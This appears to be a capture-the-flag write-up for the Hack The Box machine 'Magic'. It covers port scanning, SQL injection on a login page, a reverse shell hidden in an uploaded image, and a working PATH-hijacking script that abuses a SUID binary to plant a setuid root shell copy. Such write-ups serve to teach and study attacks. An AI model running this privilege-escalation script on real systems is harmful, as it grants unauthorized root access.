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# HTB - Magic
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
clicking on login redirects to the login page.
all the images are stored as some id.
whenever i see a login page the first impression i get is to test for sql injection.
login page is vulnerable to timebased blind injection.
jpg,jpeg and png images are allowed to upload.
images are uploaded to the uploads directory.
filtering in place
i will try to upload a valid png image and change the content to include a reverse shell.
## Shell as www-data
database credentials leaked.
i have to port forward port 3306 to access.
## Shell as Theseus
suid bit is set on a custom binary called /bin/sysinfo.
the binary does the following.
From the `strings` output, `/bin/sysinfo` is almost certainly a SUID root binary that calls `popen()` on these commands **without absolute paths**:
```
lshw -short
fdisk -l
cat /proc/cpuinfo
free -h
```
It also imports `setuid`, `setgid`, and `popen`. That means you can likely hijack `PATH` and get your own command executed as root.
### Linux Path Hijacking
```bash
mkdir -p ~/bin
cat > ~/bin/lshw <<'EOF'
#!/bin/bash
cp /bin/bash ~/rootbash
chmod +s ~/rootbash
EOF
chmod +x ~/bin/lshw
PATH=~/bin:$PATH /bin/sysinfo
```
## Shell as Root
---
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